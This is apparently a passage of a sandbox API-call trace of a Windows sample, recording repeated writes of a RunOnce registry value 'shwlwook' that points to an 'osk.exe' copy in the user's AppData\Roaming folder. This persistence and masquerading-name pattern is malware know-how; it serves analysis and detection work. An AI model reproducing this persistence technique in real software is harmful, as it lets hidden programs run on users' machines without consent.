lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2abb0e4, dwHighDateTime=0x1d4f110)) [0255.035] GetTickCount () returned 0x3f108 [0255.035] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.035] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240410 | out: ppvObject=0x6240410*=0x0) returned 0x80004002 [0255.035] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x7 [0255.035] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.036] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x8 [0255.036] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a3f0) returned 0x0 [0255.036] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x7 [0255.036] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.036] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.036] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.036] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.037] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240430 | out: ppvObject=0x6240430*=0x0) returned 0x80004002 [0255.037] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x8 [0255.037] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x7 [0255.037] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.037] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x7 [0255.037] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240440) returned 0x0 [0255.038] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x6 [0255.038] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.039] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.039] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.039] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.039] RegCloseKey (hKey=0x14c) returned 0x0 [0255.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2abb0e4, dwHighDateTime=0x1d4f110)) [0255.040] GetTickCount () returned 0x3f108 [0255.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2abb0e4, dwHighDateTime=0x1d4f110)) [0255.040] GetCurrentThreadId () returned 0xe38 [0255.040] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.041] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.041] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.041] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.042] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.043] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.043] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.043] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.043] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.043] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.043] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.047] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.047] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.047] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2ae13d4, dwHighDateTime=0x1d4f110)) [0255.048] GetTickCount () returned 0x3f118 [0255.048] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.048] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240490 | out: ppvObject=0x6240490*=0x0) returned 0x80004002 [0255.048] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x8 [0255.048] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.048] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x9 [0255.048] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a450) returned 0x0 [0255.049] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x8 [0255.049] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.049] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.049] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.049] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.049] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62404b0 | out: ppvObject=0x62404b0*=0x0) returned 0x80004002 [0255.050] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x9 [0255.050] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x8 [0255.050] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.050] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x8 [0255.050] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x62404c0) returned 0x0 [0255.051] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x7 [0255.051] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.052] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.052] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.052] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.052] RegCloseKey (hKey=0x14c) returned 0x0 [0255.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2ae13d4, dwHighDateTime=0x1d4f110)) [0255.053] GetTickCount () returned 0x3f118 [0255.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2ae13d4, dwHighDateTime=0x1d4f110)) [0255.053] GetCurrentThreadId () returned 0xe38 [0255.053] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.053] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.054] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.054] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.054] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0255.054] KillTimer (hWnd=0x60210, uIDEvent=0x1008) returned 1 [0255.054] IsWinEventHookInstalled (event=0x8004) returned 1 [0255.054] NotifyWinEvent (event=0x8004, hwnd=0x60210, idObject=-4, idChild=0) [0255.054] GetCurrentThreadId () returned 0xe38 [0255.054] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.063] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.063] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.063] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2b07b7b, dwHighDateTime=0x1d4f110)) [0255.063] GetTickCount () returned 0x3f127 [0255.064] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.064] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240510 | out: ppvObject=0x6240510*=0x0) returned 0x80004002 [0255.064] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x9 [0255.064] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.064] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xa [0255.064] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a4b0) returned 0x0 [0255.064] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x9 [0255.065] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.065] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.065] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.065] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.065] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240530 | out: ppvObject=0x6240530*=0x0) returned 0x80004002 [0255.065] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xa [0255.065] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x9 [0255.065] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.066] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x9 [0255.066] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240540) returned 0x0 [0255.067] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x8 [0255.067] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.067] WideCharToMultiByte (in: CodePage=0x0, 